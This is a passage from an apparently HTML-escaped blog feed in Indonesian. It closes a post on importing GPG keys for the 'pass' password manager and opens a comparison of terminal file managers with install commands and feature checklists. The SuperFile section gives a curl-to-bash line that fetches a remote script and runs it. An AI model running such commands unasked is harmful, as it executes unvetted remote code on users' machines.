&lt;/ol&gt;&lt;p&gt;Lakukan tahap &lt;em&gt;import&lt;/em&gt; di komputer tujuan (tempat kita meng-&lt;em&gt;clone&lt;/em&gt; repositori Github &lt;em&gt;password&lt;/em&gt;).&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--import&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;private.pgp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# import private key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gpg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--import&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;public.pgp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# import public key&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;importing private &amp;amp;#x26; public keys&quot; loading=&quot;lazy&quot; width=&quot;763&quot; height=&quot;433&quot; src=&quot;/_astro/ss20.Bf4TobpD_Z1ryDA5.webp&quot; /&gt;&lt;figcaption&gt;importing private &amp;amp; public keys&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Dan sekarang kita sudah bisa “berinteraksi” dengan password-password di komputer lain:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pass on the other computer&quot; loading=&quot;lazy&quot; width=&quot;376&quot; height=&quot;309&quot; src=&quot;/_astro/ss21.D3T3psqQ_Xb8ip.webp&quot; /&gt;&lt;figcaption&gt;pass on the other computer&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;
&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.passwordstore.org/&quot; target=&quot;_blank&quot;&gt;https://www.passwordstore.org/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.gnupg.org/&quot; target=&quot;_blank&quot;&gt;https://www.gnupg.org/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>A Comparison of 5 Terminal File Managers</title><link>https://shangdi.github.io/posts/tech/fileterm/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/fileterm/</guid><description>A glimpse of terminal-based file managers and their uniquenesses.</description><pubDate>Wed, 18 Jun 2025 12:09:58 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Introduction&lt;a href=&quot;#introduction&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita mungkin sudah (sangat) familiar dengan istilah &lt;em&gt;file manager&lt;/em&gt; atau &lt;em&gt;file explorer&lt;/em&gt; berbasis GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;) yang memang mudah ditemukan di sistem operasi populer, seperti Windows, Mac, Android, Apple, bahkan Linux sekalipun. Tapi, pernahkah kalian menggunakan atau melihat &lt;em&gt;file manager&lt;/em&gt; berbasis terminal?&lt;/p&gt;&lt;p&gt;File manager berbasis terminal artinya kita tidak memerlukan &lt;em&gt;interface&lt;/em&gt; grafis (GUI) untuk mengelola file dan direktori (folder) yang ada di komputer kita. Memang, CLI &lt;em&gt;file manager&lt;/em&gt; umumnya terkenal di kalangan programmer, hacker, linux user, server admin, dan yang sebangsanya. Intinya, para &lt;a href=&quot;https://en.wikipedia.org/wiki/Power_user&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;power user&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Nah, di artikel ini, kita akan melihat-lihat 5 &lt;em&gt;file manager&lt;/em&gt; berbasis terminal, berikut dengan perbandingannya. Nah, agar &lt;em&gt;fair&lt;/em&gt; perbandingannya, mari kita lihat semua &lt;em&gt;file manager&lt;/em&gt; berbasis terminal tersebut berdasarkan 2 standard penggunaan dasar:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menampilkan isi file (text/bahasa pemrograman, gambar, dan dokumen).&lt;/li&gt;
&lt;li&gt;Manajemen file &amp;amp; direktori (edit, copy-paste, membuat/menghapus/mengubah file/folder baru)&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Kita mulai…&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. SuperFile&lt;a href=&quot;#1-superfile&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SuperFile&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;526&quot; src=&quot;/_astro/ss1.CaDtawUZ_ZUc4Ob.webp&quot; /&gt;&lt;figcaption&gt;SuperFile&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;repository&lt;/em&gt; Github-nya:&lt;/p&gt;&lt;p&gt;{{&amp;lt; github repo=“yorukot/superfile” showThumbnail=true &amp;gt;}}&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara memasangnya di masing-masing distro Linux:&lt;/p&gt;&lt;p&gt;Debian/Ubuntu, Archlinux, Fedora, OpenSuse, etc:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;bash&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;$(&lt;/span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-sLo-&lt;/span&gt;&lt;span&gt; https://superfile.netlify.app/install.sh)&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;superfile&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;superfile&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Checklists&lt;a href=&quot;#checklists&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah hasil &lt;em&gt;benchmarking&lt;/em&gt;-nya:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Criteria&lt;/th&gt;&lt;th&gt;Checklist&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Menampilkan Isi File (&lt;em&gt;Preview&lt;/em&gt;)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Teks (.txt, .py, .nix, etc)&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Gambar (.png, .jpg, .gif, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Dokumen (.pdf, .docx, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Manajemen File &amp;amp; Direktori&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Edit file&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Copy-paste&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Membuat/Menghapus/Mengubah Nama&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pros and Cons&lt;a href=&quot;#pros-and-cons&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kelebihan&lt;/strong&gt; SuperFile:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt; (tampilan) yang modern &amp;amp; informatif.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) yang mudah diingat dan dipahami.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kekurangan&lt;/strong&gt; SuperFile:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Belum mampu membaca file gambar &amp;amp; file dokumen.&lt;/li&gt;
&lt;li&gt;Belum tersedia di repositori distro Linux populer.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Clifm&lt;a href=&quot;#2-clifm&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Clifm&quot; loading=&quot;lazy&quot; width=&quot;836&quot; height=&quot;611&quot; src=&quot;/_astro/ss2.GEO9np9q_ZaxkL9.webp&quot; /&gt;&lt;figcaption&gt;Clifm&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;repository&lt;/em&gt; Github-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/leo-arch/clifm&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;leo-arch&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;clifm&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara memasangnya di masing-masing distro Linux:&lt;/p&gt;




















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;yay -Sy clifm&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install clifm&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install clifm&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;Untuk &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; belum ada paketnya di repository official, jadi harus meng-install-nya via Github.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/leo-arch/clifm.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clifm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;clifm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clifm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Checklists&lt;a href=&quot;#checklists-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah hasil &lt;em&gt;benchmarking&lt;/em&gt;-nya:&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Criteria&lt;/th&gt;&lt;th&gt;Checklist&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Menampilkan Isi File (&lt;em&gt;Preview&lt;/em&gt;)&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Teks (.txt, .py, .nix, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Gambar (.png, .jpg, .gif, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;File Dokumen (.pdf, .docx, etc)&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;2.&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Manajemen File &amp;amp; Direktori&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Edit file&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Copy-paste&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;Membuat/Menghapus/Mengubah Nama&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Pros and Cons&lt;a href=&quot;#pros-and-cons-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kelebihan&lt;/strong&gt; Clifm:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Interface&lt;/em&gt; (tampilan) yang unik.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah &lt;strong&gt;kekurangan&lt;/strong&gt; Clifm:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Tidak ada fitur untuk menampilkan isi file.&lt;/li&gt;
&lt;li&gt;Belum tersedia di repositori distro Debian/Ubuntu.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Keybinding&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) yang tidak familiar.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Yazi&lt;a href=&quot;#3-yazi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Yazi&quot; loading=&quot;lazy&quot; width=&quot;713&quot; height=&quot;467&quot; src=&quot;/_astro/ss3.Bfq6VgkI_Z1mNRI5.webp&quot; /&gt;&lt;figcaption&gt;Yazi&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah &lt;em&gt;repository&lt;/em&gt; Github-nya:&lt;/p&gt;&lt;a href=&quot;https://github.com/sxyazi/yazi&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;sxyazi&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;yazi&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;section&gt;&lt;h4&gt;Installation&lt;a href=&quot;#installation-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Berikut adalah cara memasangnya di masing-masing distro Linux:&lt;/p&gt;
















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy yazi&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install yazi&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;blockquote&gt;&lt;p&gt;Untuk &lt;strong&gt;Debian/Ubuntu&lt;/strong&gt; &amp;amp; &lt;strong&gt;Fedora&lt;/strong&gt; belum ada paketnya di repository official, jadi harus meng-install-nya via Github atau via &lt;a href=&quot;https://snapcraft.io/yazi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Snap&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;yazi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; 